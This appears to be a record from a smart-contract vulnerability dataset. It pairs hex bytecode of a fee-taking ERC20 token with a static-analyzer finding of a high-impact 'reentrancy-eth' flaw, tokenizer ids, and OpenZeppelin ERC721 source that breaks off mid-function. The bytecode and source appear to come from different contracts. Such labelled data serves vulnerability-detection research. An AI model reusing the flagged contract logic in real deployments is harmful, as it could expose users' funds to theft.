24332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f0565b6001600160a01b038216610d425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f0565b60008111610da45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f0565b6000546001600160a01b03848116911614801590610dd057506000546001600160a01b03838116911614155b156110b157601554600160a01b900460ff16610e69576000546001600160a01b03848116911614610e695760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f0565b601654811115610ebb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f0565b6001600160a01b03831660009081526010602052604090205460ff16158015610efd57506001600160a01b03821660009081526010602052604090205460ff16155b610f555760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f0565b6015546001600160a01b03838116911614610fda5760175481610f77846107c3565b610f819190611c6e565b10610fda5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f0565b6000610fe5306107c3565b601854601654919250821015908210610ffe5760165491505b8080156110155750601554600160a81b900460ff16155b801561102f57506015546001600160a01b03868116911614155b80156110445750601554600160b01b900460ff165b801561106957506001600160a01b03851660009081526005602052604090205460ff16155b801561108e57506001600160a01b03841660009081526005602052604090205460ff16155b156110ae5761109c826112b0565b4780156110ac576110ac476111f2565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f357506001600160a01b03831660009081526005602052604090205460ff165b8061112557506015546001600160a01b0385811691161480159061112557506015546001600160a01b03848116911614155b15611132575060006111ac565b6015546001600160a01b03858116911614801561115d57506014546001600160a01b03848116911614155b1561116f57600854600c55600954600d555b6015546001600160a01b03848116911614801561119a57506014546001600160a01b03858116911614155b156111ac57600a54600c55600b54600d555b610a398484848461142a565b600081848411156111dc5760405162461bcd60e51b81526004016105f091906119e0565b5060006111e98486611c86565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610661573d6000803e3d6000fd5b60006006548211156112935760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f0565b600061129d611458565b90506112a9838261147b565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f8576112f8611c27565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611351573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113759190611c9d565b8160018151811061138857611388611c27565b6001600160a01b0392831660209182029290920101526014546113ae9130911684610b58565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113e7908590600090869030904290600401611cba565b600060405180830381600087803b15801561140157600080fd5b505af1158015611415573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611437576114376114bd565b6114428484846114eb565b80610a3957610a39600e54600c55600f54600d55565b60008060006114656115e2565b9092509050611474828261147b565b9250505090565b60006112a983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611622565b600c541580156114cd5750600d54155b156114d457565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114fd87611650565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061152f90876116ad565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461155e90866116ef565b6001600160a01b0389166000908152600260205260409020556115808161174e565b61158a8483611798565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115cf91815260200190565b60405180910390a3505050505050505050565b6006546000908190673782dace9d9000006115fd828261147b565b82101561161957505060065492673782dace9d90000092509050565b90939092509050565b600081836116435760405162461bcd60e51b81526004016105f091906119e0565b5060006111e98486611d2b565b600080600080600080600080600061166d8a600c54600d546117bc565b925092509250600061167d611458565b905060008060006116908e878787611811565b919e509c509a509598509396509194505050505091939550919395565b60006112a983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b8565b6000806116fc8385611c6e565b9050838110156112a95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f0565b6000611758611458565b905060006117668383611861565b3060009081526002602052604090205490915061178390826116ef565b30600090815260026020526040902055505050565b6006546117a590836116ad565b6006556007546117b590826116ef565b6007555050565b60008080806117d660646117d08989611861565b9061147b565b905060006117e960646117d08a89611861565b90506000611801826117fb8b866116ad565b906116ad565b9992985090965090945050505050565b60008080806118208886611861565b9050600061182e8887611861565b9050600061183c8888611861565b9050600061184e826117fb86866116ad565b939b939a50919850919650505050505050565b60008261187057506000610676565b600061187c8385611d4d565b9050826118898583611d2b565b146112a95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f0565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c057600080fd5b8035611916816118f6565b919050565b6000602080838503121561192e57600080fd5b823567ffffffffffffffff8082111561194657600080fd5b818501915085601f83011261195a57600080fd5b81358181111561196c5761196c6118e0565b8060051b604051601f19603f83011681018181108582111715611991576119916118e0565b6040529182528482019250838101850191888311156119af57600080fd5b938501935b828510156119d4576119c58561190b565b845293850193928501926119b4565b98975050505050505050565b600060208083528351808285015260005b81811015611a0d578581018301518582016040015282016119f1565b81811115611a1f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a4857600080fd5b8235611a53816118f6565b946020939093013593505050565b600080600060608486031215611a7657600080fd5b8335611a81816118f6565b92506020840135611a91816118f6565b929592945050506040919091013590565b600060208284031215611ab457600080fd5b81356112a9816118f6565b8035801515811461191657600080fd5b600060208284031215611ae157600080fd5b6112a982611abf565b600060208284031215611afc57600080fd5b5035919050565b60008060008060808587031215611b1957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b4a57600080fd5b833567ffffffffffffffff80821115611b6257600080fd5b818601915086601f830112611b7657600080fd5b813581811115611b8557600080fd5b8760208260051b8501011115611b9a57600080fd5b602092830195509350611bb09186019050611abf565b90509250925092565b60008060408385031215611bcc57600080fd5b8235611bd7816118f6565b91506020830135611be7816118f6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c6757611c67611c3d565b5060010190565b60008219821115611c8157611c81611c3d565b500190565b600082821015611c9857611c98611c3d565b500390565b600060208284031215611caf57600080fd5b81516112a9816118f6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d0a5784516001600160a01b031683529383019391830191600101611ce5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d4857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d6757611d67611c3d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a96ed078aa74be8fec4b5147de2ae1e406b868efc9e695b252794ddf3cb33f1b64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2549, 4215, 2487, 29292, 2581, 2546, 2581, 2475, 2546, 2620, 16932, 7959, 2575, 11387, 19481, 2692, 2063, 20958, 2575, 2050, 2629, 4783, 2549, 19797, 2692, 2683, 2094, 2581, 2546, 1013, 1008, 1008, 2023, 2003, 1996, 4151, 24665, 12502, 1997, 2033, 4168, 3597, 7076, 2057, 2097, 2031, 20096, 1999, 3573, 2065, 2017, 12373, 1010, 2017, 1005, 2222, 3335, 1002, 24665, 12502, 1066, 19204, 25524, 1015, 1003, 16055, 1022, 1003, 4965, 1013, 5271, 4171, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2184, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,760
0x974aD9e39DB562AE14Cf727a19db8d836B099969
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; 